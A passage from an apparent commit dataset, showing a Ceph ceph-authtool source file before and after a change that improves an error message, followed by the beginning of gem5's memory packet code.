--add-key                     will add an encoded key to the keyring\\n\"\n       << \"  --cap subsystem capability    will set the capability for given subsystem\\n\"\n       << \"  --caps capsfile               will set all of capabilities associated with a\\n\"\n       << \"                                given key, for all subsystems\\n\"\n       << \"  -b, --bin                     will create a binary formatted keyring\" << std::endl;\n  exit(1);\n}\n\nint main(int argc, const char **argv)\n{\n  vector<const char*> args;\n  argv_to_vec(argc, argv, args);\n  env_to_vec(args);\n\n  bool gen_key = false;\n  bool gen_print_key = false;\n  std::string add_key;\n  bool list = false;\n  bool print_key = false;\n  bool create_keyring = false;\n  std::string caps_fn;\n  std::string import_keyring;\n  bool set_auid = false;\n  uint64_t auid = CEPH_AUTH_UID_DEFAULT;\n  map<string,bufferlist> caps;\n  bool bin_keyring = false;\n  std::string fn;\n\n  global_init(args, CEPH_ENTITY_TYPE_CLIENT, CODE_ENVIRONMENT_UTILITY,\n\t      CINIT_FLAG_NO_DEFAULT_CONFIG_FILE);\n  std::vector<const char*>::iterator i;\n  for (i = args.begin(); i != args.end(); ) {\n    std::string val;\n    if (ceph_argparse_double_dash(args, i)) {\n      break;\n    } else if (ceph_argparse_flag(args, i, \"-g\", \"--gen-key\", (char*)NULL)) {\n      gen_key = true;\n    } else if (ceph_argparse_flag(args, i, \"--gen-print-key\", (char*)NULL)) {\n      gen_print_key = true;\n    } else if (ceph_argparse_witharg(args, i, &val, \"-a\", \"--add-key\", (char*)NULL)) {\n      add_key = val;\n    } else if (ceph_argparse_flag(args, i, &val, \"-l\", \"--list\", (char*)NULL)) {\n      list = true;\n    } else if (ceph_argparse_witharg(args, i, &val, \"--caps\", (char*)NULL)) {\n      caps_fn = val;\n    } else if (ceph_argparse_witharg(args, i, &val, \"--cap\", (char*)NULL)) {\n      std::string my_key = val;\n      if (i == args.end()) {\n\tcerr << \"must give two arguments to --cap: key and val.\" << std::endl;\n\texit(1);\n      }\n      std::string my_val = *i;\n      ++i;\n      ::encode(my_val, caps[my_key]);\n    } else if (ceph_argparse_flag(args, i, \"-p\", \"--print-key\", (char*)NULL)) {\n      print_key = true;\n    } else if (ceph_argparse_flag(args, i, \"-C\", \"--create-keyring\", (char*)NULL)) {\n      create_keyring = true;\n    } else if (ceph_argparse_witharg(args, i, &val, \"--import-keyring\", (char*)NULL)) {\n      import_keyring = val;\n    } else if (ceph_argparse_witharg(args, i, &val, \"-u\", \"--set-uid\", (char*)NULL)) {\n      std::string err;\n      auid = strict_strtoll(val.c_str(), 10, &err);\n      if (!err.empty()) {\n\tcerr << \"error parsing UID: \" << err << std::endl;\n\texit(1);\n      }\n      set_auid = true;\n    } else if (ceph_argparse_flag(args, i, \"-b\", \"--bin\", (char*)NULL)) {\n      bin_keyring = true;\n    } else if (fn.empty()) {\n      fn = *i++;\n    } else {\n      usage();\n    }\n  }\n  if (fn.empty() && !gen_print_key) {\n    cerr << argv[0] << \": must specify filename\" << std::endl;\n    usage();\n  }\n  if (!(gen_key ||\n\tgen_print_key ||\n\t!add_key.empty() ||\n\tlist ||\n\t!caps_fn.empty() ||\n\tcaps.size() ||\n\tset_auid ||\n\tprint_key ||\n\tcreate_keyring ||\n\t!import_keyring.empty())) {\n    cerr << \"no command specified\" << std::endl;\n    usage();\n  }\n  if (gen_key && (!add_key.empty())) {\n    cerr << \"can't both gen_key and add_key\" << std::endl;\n    usage();\n  }\t\n\n  common_init_finish(g_ceph_context);\n  EntityName ename(g_conf->name);\n\n  if (gen_print_key) {\n    CryptoKey key;\n    key.create(g_ceph_context, CEPH_CRYPTO_AES);\n    cout << key << std::endl;    \n    return 0;\n  }\n\n  \/\/ keyring --------\n  bool modified = false;\n  KeyRing keyring;\n\n  bufferlist bl;\n  int r = 0;\n  if (create_keyring) {\n    cout << \"creating \" << fn << std::endl;\n    modified = true;\n  } else {\n    std::string err;\n    r = bl.read_file(fn.c_str(), &err);\n    if (r >= 0) {\n      try {\n\tbufferlist::iterator iter = bl.begin();\n\t::decode(keyring, iter);\n      } catch (const buffer::error &err) {\n\tcerr << \"error reading file \" << fn << std::endl;\n\texit(1);\n      }\n    } else {\n      cerr << \"can't open \" << fn << \": \" << err << std::endl;\n      exit(1);\n    }\n  }\n\n  \/\/ write commands\n  if (!import_keyring.empty()) {\n    KeyRing other;\n    bufferlist obl;\n    std::string err;\n    int r = obl.read_file(import_keyring.c_str(), &err);\n    if (r >= 0) {\n      try {\n\tbufferlist::iterator iter = obl.begin();\n\t::decode(other, iter);\n      } catch (const buffer::error &err) {\n\tcerr << \"error reading file \" << import_keyring << std::endl;\n\texit(1);\n      }\n      \n      cout << \"importing contents of \" << import_keyring << \" into \" << fn << std::endl;\n      \/\/other.print(cout);\n      keyring.import(g_ceph_context, other);\n      modified = true;\n    } else {\n      cerr << \"can't open \" << import_keyring << \": \" << err << std::endl;\n      exit(1);\n    }\n  }\n  if (gen_key) {\n    EntityAuth eauth;\n    eauth.key.create(g_ceph_context, CEPH_CRYPTO_AES);\n    keyring.add(ename, eauth);\n    modified = true;\n  }\n  if (!add_key.empty()) {\n    EntityAuth eauth;\n    try {\n      eauth.key.decode_base64(add_key);\n    } catch (const buffer::error &err) {\n      cerr << \"can't decode key '\" << add_key << \"'\" << std::endl;\n      exit(1);\n    }\n    keyring.add(ename, eauth);\n    modified = true;\n    cout << \"added entity \" << ename << \" auth \" << eauth << std::endl;\n  }\n  if (!caps_fn.empty()) {\n    ConfFile cf;\n    std::deque<std::string> parse_errors;\n    if (cf.parse_file(caps_fn, &parse_errors) != 0) {\n      cerr << \"could not parse caps file \" << caps_fn << std::endl;\n      exit(1);\n    }\n    complain_about_parse_errors(g_ceph_context, &parse_errors);\n    map<string, bufferlist> caps;\n    const char *key_names[] = { \"mon\", \"osd\", \"mds\", NULL };\n    for (int i=0; key_names[i]; i++) {\n      std::string val;\n      if (cf.read(\"global\", key_names[i], val) == 0) {\n        bufferlist bl;\n        ::encode(val, bl);\n        string s(key_names[i]);\n        caps[s] = bl; \n      }\n    }\n    keyring.set_caps(ename, caps);\n    modified = true;\n  }\n  if (caps.size()) {\n    keyring.set_caps(ename, caps);\n    modified = true;\n  }\n  if (set_auid) {\n    keyring.set_uid(ename, auid);\n    modified = true;\n  }\n\n  \/\/ read commands\n  if (list) {\n    keyring.print(cout);\n  }\n  if (print_key) {\n    CryptoKey key;\n    if (keyring.get_secret(ename, key)) {\n      cout << key << std::endl;\n    } else {\n      cerr << \"entity \" << ename << \" not found\" << std::endl;\n    }\n  }\n\n  \/\/ write result?\n  if (modified) {\n    bufferlist bl;\n    if (bin_keyring) {\n      ::encode(keyring, bl);\n    } else {\n      keyring.encode_plaintext(bl);\n    }\n    r = bl.write_file(fn.c_str(), 0600);\n    if (r < 0) {\n      cerr << \"could not write \" << fn << std::endl;\n    }\n    \/\/cout << \"wrote \" << bl.length() << \" bytes to \" << fn << std::endl;\n  }\n\n  return 0;\n}\n<commit_msg>ceph-authtool: make error msg more helpful<commit_after>\/\/ -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- \n\/\/ vim: ts=8 sw=2 smarttab\n\/*\n * Ceph - scalable distributed file system\n *\n * Copyright (C) 2004-2009 Sage Weil <sage@newdream.net>\n *\n * This is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software \n * Foundation.  See file COPYING.\n * \n *\/\n\nusing namespace std;\n\n#include \"common\/config.h\"\n#include \"common\/strtol.h\"\n\n#include \"common\/ConfUtils.h\"\n#include \"common\/ceph_argparse.h\"\n#include \"global\/global_context.h\"\n#include \"global\/global_init.h\"\n#include \"auth\/Crypto.h\"\n#include \"auth\/Auth.h\"\n#include \"auth\/KeyRing.h\"\n\n#include <sstream>\n\nvoid usage()\n{\n  cout << \"usage: ceph-authtool keyringfile [OPTIONS]...\\n\"\n       << \"where the options are:\\n\"\n       << \"  -l, --list                    will list all keys and capabilities present in\\n\"\n       << \"                                the keyring\\n\"\n       << \"  -p, --print                   will print an encoded key for the specified\\n\"\n       << \"                                entityname. This is suitable for the\\n\"\n       << \"                                'mount -o secret=..' argument\\n\"\n       << \"  -C, --create-keyring          will create a new keyring, overwriting any\\n\"\n       << \"                                existing keyringfile\\n\"\n       << \"  --gen-key                     will generate a new secret key for the\\n\"\n       << \"                                specified entityname\\n\"\n       << \"  --add-key                     will add an encoded key to the keyring\\n\"\n       << \"  --cap subsystem capability    will set the capability for given subsystem\\n\"\n       << \"  --caps capsfile               will set all of capabilities associated with a\\n\"\n       << \"                                given key, for all subsystems\\n\"\n       << \"  -b, --bin                     will create a binary formatted keyring\" << std::endl;\n  exit(1);\n}\n\nint main(int argc, const char **argv)\n{\n  vector<const char*> args;\n  argv_to_vec(argc, argv, args);\n  env_to_vec(args);\n\n  bool gen_key = false;\n  bool gen_print_key = false;\n  std::string add_key;\n  bool list = false;\n  bool print_key = false;\n  bool create_keyring = false;\n  std::string caps_fn;\n  std::string import_keyring;\n  bool set_auid = false;\n  uint64_t auid = CEPH_AUTH_UID_DEFAULT;\n  map<string,bufferlist> caps;\n  bool bin_keyring = false;\n  std::string fn;\n\n  global_init(args, CEPH_ENTITY_TYPE_CLIENT, CODE_ENVIRONMENT_UTILITY,\n\t      CINIT_FLAG_NO_DEFAULT_CONFIG_FILE);\n  std::vector<const char*>::iterator i;\n  for (i = args.begin(); i != args.end(); ) {\n    std::string val;\n    if (ceph_argparse_double_dash(args, i)) {\n      break;\n    } else if (ceph_argparse_flag(args, i, \"-g\", \"--gen-key\", (char*)NULL)) {\n      gen_key = true;\n    } else if (ceph_argparse_flag(args, i, \"--gen-print-key\", (char*)NULL)) {\n      gen_print_key = true;\n    } else if (ceph_argparse_witharg(args, i, &val, \"-a\", \"--add-key\", (char*)NULL)) {\n      add_key = val;\n    } else if (ceph_argparse_flag(args, i, &val, \"-l\", \"--list\", (char*)NULL)) {\n      list = true;\n    } else if (ceph_argparse_witharg(args, i, &val, \"--caps\", (char*)NULL)) {\n      caps_fn = val;\n    } else if (ceph_argparse_witharg(args, i, &val, \"--cap\", (char*)NULL)) {\n      std::string my_key = val;\n      if (i == args.end()) {\n\tcerr << \"must give two arguments to --cap: key and val.\" << std::endl;\n\texit(1);\n      }\n      std::string my_val = *i;\n      ++i;\n      ::encode(my_val, caps[my_key]);\n    } else if (ceph_argparse_flag(args, i, \"-p\", \"--print-key\", (char*)NULL)) {\n      print_key = true;\n    } else if (ceph_argparse_flag(args, i, \"-C\", \"--create-keyring\", (char*)NULL)) {\n      create_keyring = true;\n    } else if (ceph_argparse_witharg(args, i, &val, \"--import-keyring\", (char*)NULL)) {\n      import_keyring = val;\n    } else if (ceph_argparse_witharg(args, i, &val, \"-u\", \"--set-uid\", (char*)NULL)) {\n      std::string err;\n      auid = strict_strtoll(val.c_str(), 10, &err);\n      if (!err.empty()) {\n\tcerr << \"error parsing UID: \" << err << std::endl;\n\texit(1);\n      }\n      set_auid = true;\n    } else if (ceph_argparse_flag(args, i, \"-b\", \"--bin\", (char*)NULL)) {\n      bin_keyring = true;\n    } else if (fn.empty()) {\n      fn = *i++;\n    } else {\n      cerr << argv[0] << \": unexpected '\" << *i << \"'\" << std::endl;\n      usage();\n    }\n  }\n  if (fn.empty() && !gen_print_key) {\n    cerr << argv[0] << \": must specify filename\" << std::endl;\n    usage();\n  }\n  if (!(gen_key ||\n\tgen_print_key ||\n\t!add_key.empty() ||\n\tlist ||\n\t!caps_fn.empty() ||\n\tcaps.size() ||\n\tset_auid ||\n\tprint_key ||\n\tcreate_keyring ||\n\t!import_keyring.empty())) {\n    cerr << \"no command specified\" << std::endl;\n    usage();\n  }\n  if (gen_key && (!add_key.empty())) {\n    cerr << \"can't both gen_key and add_key\" << std::endl;\n    usage();\n  }\t\n\n  common_init_finish(g_ceph_context);\n  EntityName ename(g_conf->name);\n\n  if (gen_print_key) {\n    CryptoKey key;\n    key.create(g_ceph_context, CEPH_CRYPTO_AES);\n    cout << key << std::endl;    \n    return 0;\n  }\n\n  \/\/ keyring --------\n  bool modified = false;\n  KeyRing keyring;\n\n  bufferlist bl;\n  int r = 0;\n  if (create_keyring) {\n    cout << \"creating \" << fn << std::endl;\n    modified = true;\n  } else {\n    std::string err;\n    r = bl.read_file(fn.c_str(), &err);\n    if (r >= 0) {\n      try {\n\tbufferlist::iterator iter = bl.begin();\n\t::decode(keyring, iter);\n      } catch (const buffer::error &err) {\n\tcerr << \"error reading file \" << fn << std::endl;\n\texit(1);\n      }\n    } else {\n      cerr << \"can't open \" << fn << \": \" << err << std::endl;\n      exit(1);\n    }\n  }\n\n  \/\/ write commands\n  if (!import_keyring.empty()) {\n    KeyRing other;\n    bufferlist obl;\n    std::string err;\n    int r = obl.read_file(import_keyring.c_str(), &err);\n    if (r >= 0) {\n      try {\n\tbufferlist::iterator iter = obl.begin();\n\t::decode(other, iter);\n      } catch (const buffer::error &err) {\n\tcerr << \"error reading file \" << import_keyring << std::endl;\n\texit(1);\n      }\n      \n      cout << \"importing contents of \" << import_keyring << \" into \" << fn << std::endl;\n      \/\/other.print(cout);\n      keyring.import(g_ceph_context, other);\n      modified = true;\n    } else {\n      cerr << \"can't open \" << import_keyring << \": \" << err << std::endl;\n      exit(1);\n    }\n  }\n  if (gen_key) {\n    EntityAuth eauth;\n    eauth.key.create(g_ceph_context, CEPH_CRYPTO_AES);\n    keyring.add(ename, eauth);\n    modified = true;\n  }\n  if (!add_key.empty()) {\n    EntityAuth eauth;\n    try {\n      eauth.key.decode_base64(add_key);\n    } catch (const buffer::error &err) {\n      cerr << \"can't decode key '\" << add_key << \"'\" << std::endl;\n      exit(1);\n    }\n    keyring.add(ename, eauth);\n    modified = true;\n    cout << \"added entity \" << ename << \" auth \" << eauth << std::endl;\n  }\n  if (!caps_fn.empty()) {\n    ConfFile cf;\n    std::deque<std::string> parse_errors;\n    if (cf.parse_file(caps_fn, &parse_errors) != 0) {\n      cerr << \"could not parse caps file \" << caps_fn << std::endl;\n      exit(1);\n    }\n    complain_about_parse_errors(g_ceph_context, &parse_errors);\n    map<string, bufferlist> caps;\n    const char *key_names[] = { \"mon\", \"osd\", \"mds\", NULL };\n    for (int i=0; key_names[i]; i++) {\n      std::string val;\n      if (cf.read(\"global\", key_names[i], val) == 0) {\n        bufferlist bl;\n        ::encode(val, bl);\n        string s(key_names[i]);\n        caps[s] = bl; \n      }\n    }\n    keyring.set_caps(ename, caps);\n    modified = true;\n  }\n  if (caps.size()) {\n    keyring.set_caps(ename, caps);\n    modified = true;\n  }\n  if (set_auid) {\n    keyring.set_uid(ename, auid);\n    modified = true;\n  }\n\n  \/\/ read commands\n  if (list) {\n    keyring.print(cout);\n  }\n  if (print_key) {\n    CryptoKey key;\n    if (keyring.get_secret(ename, key)) {\n      cout << key << std::endl;\n    } else {\n      cerr << \"entity \" << ename << \" not found\" << std::endl;\n    }\n  }\n\n  \/\/ write result?\n  if (modified) {\n    bufferlist bl;\n    if (bin_keyring) {\n      ::encode(keyring, bl);\n    } else {\n      keyring.encode_plaintext(bl);\n    }\n    r = bl.write_file(fn.c_str(), 0600);\n    if (r < 0) {\n      cerr << \"could not write \" << fn << std::endl;\n    }\n    \/\/cout << \"wrote \" << bl.length() << \" bytes to \" << fn << std::endl;\n  }\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2011 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder.  You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2006 The Regents of The University of Michigan\n * Copyright (c) 2010 Advanced Micro Devices, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Ali Saidi\n *          Steve Reinhardt\n *\/\n\n\/**\n * @file\n * Definition of the Packet Class, a packet is a transaction occuring\n * between a single level of the memory heirarchy (ie L1->L2).\n *\/\n\n#include <cstring>\n#include <iostream>\n\n#include \"base\/cprintf.hh\"\n#include \"base\/misc.hh\"\n#include \"base\/trace.hh\"\n#include \"mem\/packet.hh\"\n\nusing namespace std;\n\n\/\/ The one downside to bitsets is that static initializers can get ugly.\n#define SET1(a1)                     (1 << (a1))\n#define SET2(a1, a2)                 (SET1(a1) | SET1(a2))\n#define SET3(a1, a2, a3)             (SET2(a1, a2) | SET1(a3))\n#define SET4(a1, a2, a3, a4)         (SET3(a1, a2, a3) | SET1(a4))\n#define SET5(a1, a2, a3, a4, a5)     (SET4(a1, a2, a3, a4) | SET1(a5))\n#define SET6(a1, a2, a3, a4, a5, a6) (SET5(a1, a2, a3, a4, a5) | SET1(a6))\n\nconst MemCmd::CommandInfo\nMemCmd::commandInfo[] =\n{\n    \/* InvalidCmd *\/\n    { 0, InvalidCmd, \"InvalidCmd\" },\n    \/* ReadReq *\/\n    { SET3(IsRead, IsRequest, NeedsResponse), ReadResp, \"ReadReq\" },\n    \/* ReadResp *\/\n    { SET3(IsRead, IsResponse, HasData), InvalidCmd, \"ReadResp\" },\n    \/* ReadRespWithInvalidate *\/\n    { SET4(IsRead, IsResponse, HasData, IsInvalidate),\n            InvalidCmd, \"ReadRespWithInvalidate\" },\n    \/* WriteReq *\/\n    { SET5(IsWrite, NeedsExclusive, IsRequest, NeedsResponse, HasData),\n            WriteResp, \"WriteReq\" },\n    \/* WriteResp *\/\n    { SET3(IsWrite, NeedsExclusive, IsResponse), InvalidCmd, \"WriteResp\" },\n    \/* Writeback *\/\n    { SET4(IsWrite, NeedsExclusive, IsRequest, HasData),\n            InvalidCmd, \"Writeback\" },\n    \/* SoftPFReq *\/\n    { SET4(IsRead, IsRequest, IsSWPrefetch, NeedsResponse),\n            SoftPFResp, \"SoftPFReq\" },\n    \/* HardPFReq *\/\n    { SET4(IsRead, IsRequest, IsHWPrefetch, NeedsResponse),\n            HardPFResp, \"HardPFReq\" },\n    \/* SoftPFResp *\/\n    { SET4(IsRead, IsResponse, IsSWPrefetch, HasData),\n            InvalidCmd, \"SoftPFResp\" },\n    \/* HardPFResp *\/\n    { SET4(IsRead, IsResponse, IsHWPrefetch, HasData),\n            InvalidCmd, \"HardPFResp\" },\n    \/* WriteInvalidateReq *\/\n    { SET6(IsWrite, NeedsExclusive, IsInvalidate,\n           IsRequest, HasData, NeedsResponse),\n            WriteInvalidateResp, \"WriteInvalidateReq\" },\n    \/* WriteInvalidateResp *\/\n    { SET3(IsWrite, NeedsExclusive, IsResponse),\n            InvalidCmd, \"WriteInvalidateResp\" },\n    \/* UpgradeReq *\/\n    { SET5(IsInvalidate, NeedsExclusive, IsUpgrade, IsRequest, NeedsResponse),\n            UpgradeResp, \"UpgradeReq\" },\n    \/* SCUpgradeReq: response could be UpgradeResp or UpgradeFailResp *\/\n    { SET6(IsInvalidate, NeedsExclusive, IsUpgrade, IsLlsc,\n           IsRequest, NeedsResponse),\n            UpgradeResp, \"SCUpgradeReq\" },\n    \/* UpgradeResp *\/\n    { SET3(NeedsExclusive, IsUpgrade, IsResponse),\n            InvalidCmd, \"UpgradeResp\" },\n    \/* SCUpgradeFailReq: generates UpgradeFailResp ASAP *\/\n    { SET5(IsInvalidate, NeedsExclusive, IsLlsc,\n           IsRequest, NeedsResponse),\n            UpgradeFailResp, \"SCUpgradeFailReq\" },\n    \/* UpgradeFailResp *\/\n    { SET2(NeedsExclusive, IsResponse),\n            InvalidCmd, \"UpgradeFailResp\" },\n    \/* ReadExReq *\/\n    { SET5(IsRead, NeedsExclusive, IsInvalidate, IsRequest, NeedsResponse),\n            ReadExResp, \"ReadExReq\" },\n    \/* ReadExResp *\/\n    { SET4(IsRead, NeedsExclusive, IsResponse, HasData),\n            InvalidCmd, \"ReadExResp\" },\n    \/* LoadLockedReq: note that we use plain ReadResp as response, so that\n     *                we can also use ReadRespWithInvalidate when needed *\/\n    { SET4(IsRead, IsLlsc, IsRequest, NeedsResponse),\n            ReadResp, \"LoadLockedReq\" },\n    \/* StoreCondReq *\/\n    { SET6(IsWrite, NeedsExclusive, IsLlsc,\n           IsRequest, NeedsResponse, HasData),\n            StoreCondResp, \"StoreCondReq\" },\n    \/* StoreCondFailReq: generates failing StoreCondResp ASAP *\/\n    { SET6(IsWrite, NeedsExclusive, IsLlsc,\n           IsRequest, NeedsResponse, HasData),\n            StoreCondResp, \"StoreCondFailReq\" },\n    \/* StoreCondResp *\/\n    { SET4(IsWrite, NeedsExclusive, IsLlsc, IsResponse),\n            InvalidCmd, \"StoreCondResp\" },\n    \/* SwapReq -- for Swap ldstub type operations *\/\n    { SET6(IsRead, IsWrite, NeedsExclusive, IsRequest, HasData, NeedsResponse),\n        SwapResp, \"SwapReq\" },\n    \/* SwapResp -- for Swap ldstub type operations *\/\n    { SET5(IsRead, IsWrite, NeedsExclusive, IsResponse, HasData),\n            InvalidCmd, \"SwapResp\" },\n    \/* IntReq -- for interrupts *\/\n    { SET4(IsWrite, IsRequest, NeedsResponse, HasData),\n        MessageResp, \"MessageReq\" },\n    \/* IntResp -- for interrupts *\/\n    { SET2(IsWrite, IsResponse), InvalidCmd, \"MessageResp\" },\n    \/* NetworkNackError  -- nacked at network layer (not by protocol) *\/\n    { SET2(IsResponse, IsError), InvalidCmd, \"NetworkNackError\" },\n    \/* InvalidDestError  -- packet dest field invalid *\/\n    { SET2(IsResponse, IsError), InvalidCmd, \"InvalidDestError\" },\n    \/* BadAddressError   -- memory address invalid *\/\n    { SET2(IsResponse, IsError), InvalidCmd, \"BadAddressError\" },\n    \/* FunctionalReadError *\/\n    { SET3(IsRead, IsResponse, IsError), InvalidCmd, \"FunctionalReadError\" },\n    \/* FunctionalWriteError *\/\n    { SET3(IsWrite, IsResponse, IsError), InvalidCmd, \"FunctionalWriteError\" },\n    \/* PrintReq *\/\n    { SET2(IsRequest, IsPrint), InvalidCmd, \"PrintReq\" },\n    \/* Flush Request *\/\n    { SET3(IsRequest, IsFlush, NeedsExclusive), InvalidCmd, \"FlushReq\" },\n};\n\nbool\nPacket::checkFunctional(Printable *obj, Addr addr, int size, uint8_t *data)\n{\n    Addr func_start = getAddr();\n    Addr func_end   = getAddr() + getSize() - 1;\n    Addr val_start  = addr;\n    Addr val_end    = val_start + size - 1;\n\n    if (func_start > val_end || val_start > func_end) {\n        \/\/ no intersection\n        return false;\n    }\n\n    \/\/ check print first since it doesn't require data\n    if (isPrint()) {\n        dynamic_cast<PrintReqState*>(senderState)->printObj(obj);\n        return false;\n    }\n\n    \/\/ if there's no data, there's no need to look further\n    if (!data) {\n        return false;\n    }\n\n    \/\/ offset of functional request into supplied value (could be\n    \/\/ negative if partial overlap)\n    int offset = func_start - val_start;\n\n    if (isRead()) {\n        if (func_start >= val_start && func_end <= val_end) {\n            allocate();\n            memcpy(getPtr<uint8_t>(), data + offset, getSize());\n            return true;\n        } else {\n            \/\/ Offsets and sizes to copy in case of partial overlap\n            int func_offset;\n            int val_offset;\n            int overlap_size;\n\n            \/\/ calculate offsets and copy sizes for the two byte arrays\n            if (val_start < func_start && val_end <= func_end) {\n                val_offset = func_start - val_start;\n                func_offset = 0;\n                overlap_size = val_end - func_start;\n            } else if (val_start >= func_start && val_end > func_end) {\n                val_offset = 0;\n                func_offset = val_start - func_start;\n                overlap_size = func_end - val_start;\n            } else if (val_start >= func_start && val_end <= func_end) {\n                val_offset = 0;\n                func_offset = val_start - func_start;\n                overlap_size = size;\n            } else {\n                panic(\"BUG: Missed a case for a partial functional request\");\n            }\n\n            \/\/ Figure out how much of the partial overlap should be copied\n            \/\/ into the packet and not overwrite previously found bytes.\n            if (bytesValidStart == 0 && bytesValidEnd == 0) {\n                \/\/ No bytes have been copied yet, just set indices\n                \/\/ to found range\n                bytesValidStart = func_offset;\n                bytesValidEnd = func_offset + overlap_size;\n            } else {\n                \/\/ Some bytes have already been copied. Use bytesValid\n                \/\/ indices and offset values to figure out how much data\n                \/\/ to copy and where to copy it to.\n\n                \/\/ Indice overlap conditions to check\n                int a = func_offset - bytesValidStart;\n                int b = (func_offset + overlap_size) - bytesValidEnd;\n                int c = func_offset - bytesValidEnd;\n                int d = (func_offset + overlap_size) - bytesValidStart;\n\n                if (a >= 0 && b <= 0) {\n                    \/\/ bytes already in pkt data array are superset of\n                    \/\/ found bytes, will not copy any bytes\n                    overlap_size = 0;\n                } else if (a < 0 && d >= 0 && b <= 0) {\n                    \/\/ found bytes will move bytesValidStart towards 0\n                    overlap_size = bytesValidStart - func_offset;\n                    bytesValidStart = func_offset;\n                } else if (b > 0 && c <= 0 && a >= 0) {\n                    \/\/ found bytes will move bytesValidEnd\n                    \/\/ towards end of pkt data array\n                    overlap_size =\n                        (func_offset + overlap_size) - bytesValidEnd;\n                    val_offset += bytesValidEnd - func_offset;\n                    func_offset = bytesValidEnd;\n                    bytesValidEnd += overlap_size;\n                } else if (a < 0 && b > 0) {\n                    \/\/ Found bytes are superset of copied range. Will move\n                    \/\/ bytesValidStart towards 0 and bytesValidEnd towards\n                    \/\/ end of pkt data array.  Need to break copy into two\n                    \/\/ pieces so as to not overwrite previously found data.\n\n                    \/\/ copy the first half\n                    uint8_t *dest = getPtr<uint8_t>() + func_offset;\n                    uint8_t *src = data + val_offset;\n                    memcpy(dest, src, (bytesValidStart - func_offset));\n\n                    \/\/ re-calc the offsets and indices to do the copy\n                    \/\/ required for the second half\n                    val_offset += (bytesValidEnd - func_offset);\n                    bytesValidStart = func_offset;\n                    overlap_size =\n                        (func_offset + overlap_size) - bytesValidEnd;\n                    func_offset = bytesValidEnd;\n                    bytesValidEnd += overlap_size;\n                } else if ((c > 0 && b > 0)\n                           || (a < 0 && d < 0)) {\n                    \/\/ region to be copied is discontiguous! Not supported.\n                    panic(\"BUG: Discontiguous bytes found\"\n                          \"for functional copying!\");\n                }\n            }\n\n            assert((bytesValidStart >= 0) && (bytesValidEnd <= getSize()));\n\n            \/\/ copy partial data into the packet's data array\n            uint8_t *dest = getPtr<uint8_t>() + func_offset;\n            uint8_t *src = data + val_offset;\n            memcpy(dest, src, overlap_size);\n\n            \/\/ check if we're done filling the functional access\n            bool done = (bytesValidStart == 0) && (bytesValidEnd == getSize());\n            return done;\n        }\n    } else if (isWrite()) {\n        if (offset >= 0) {\n            memcpy(data + offset, getPtr<uint8_t>(),\n                   (min(func_end, val_end) - func_start) + 1);\n        } else {\n            \/\/ val_start > func_start\n            memcpy(data, getPtr<uint8_t>() - offset,\n                   (min(func_end, val_end) - val_start) + 1);\n        }\n    } else {\n        panic(\"Don't know how to handle command %s\\n\", cmdString());\n    }\n\n    \/\/ keep going with request by default\n    return false;\n}\n\nvoid\nPacket::print(ostream &o, const int verbosity, const string &prefix) const\n{\n    ccprintf(o, \"%s[%x:%x] %s\\n\", prefix,\n             getAddr(), getAddr() + getSize() - 1, cmdString());\n}\n\nPacket::PrintReqState::PrintReqState(ostream &_os, int _verbosity)\n    : curPrefixPtr(new string(\"\")), os(_os), verbosity(_verbosity)\n{\n    labelStack.push_back(LabelStackEntry(\"\", curPrefixPtr));\n}\n\nPacket::PrintReqState::~PrintReqState()\n{\n    labelStack.pop_back();\n    assert(labelStack.empty());\n    delete curPrefixPtr;\n}\n\nPacket::PrintReqState::\nLabelStackEntry::LabelStackEntry(const string &_label, string *_prefix)\n    : label(_label), prefix(_prefix), labelPrinted(false)\n{\n}\n\nvoid\nPacket::PrintReqState::pushLabel(const string &lbl, const string &prefix)\n{\n    labelStack.push_back(LabelStackEntry(lbl, curPrefixPtr));\n    curPrefixPtr = new string(*curPrefixPtr);\n    *curPrefixPtr += prefix;\n}\n\nvoid\nPacket::PrintReqState::popLabel()\n{\n    delete curPrefixPtr;\n    curPrefixPtr = labelStack.back().prefix;\n    labelStack.pop_back();\n    assert(!labelStack.empty());\n}\n\nvoid\nPacket::PrintReqState::printLabels()\n{\n    if (!labelStack.back().labelPrinted) {\n        LabelStack::iterator i = labelStack.begin();\n        LabelStack::iterator end = labelStack.end();\n        while (i != end) {\n            if (!i->labelPrinted) {\n                ccprintf(os, \"%s%s\\n\", *(i->prefix), i->label);\n                i->labelPrinted = true;\n            }\n            i++;\n        }\n    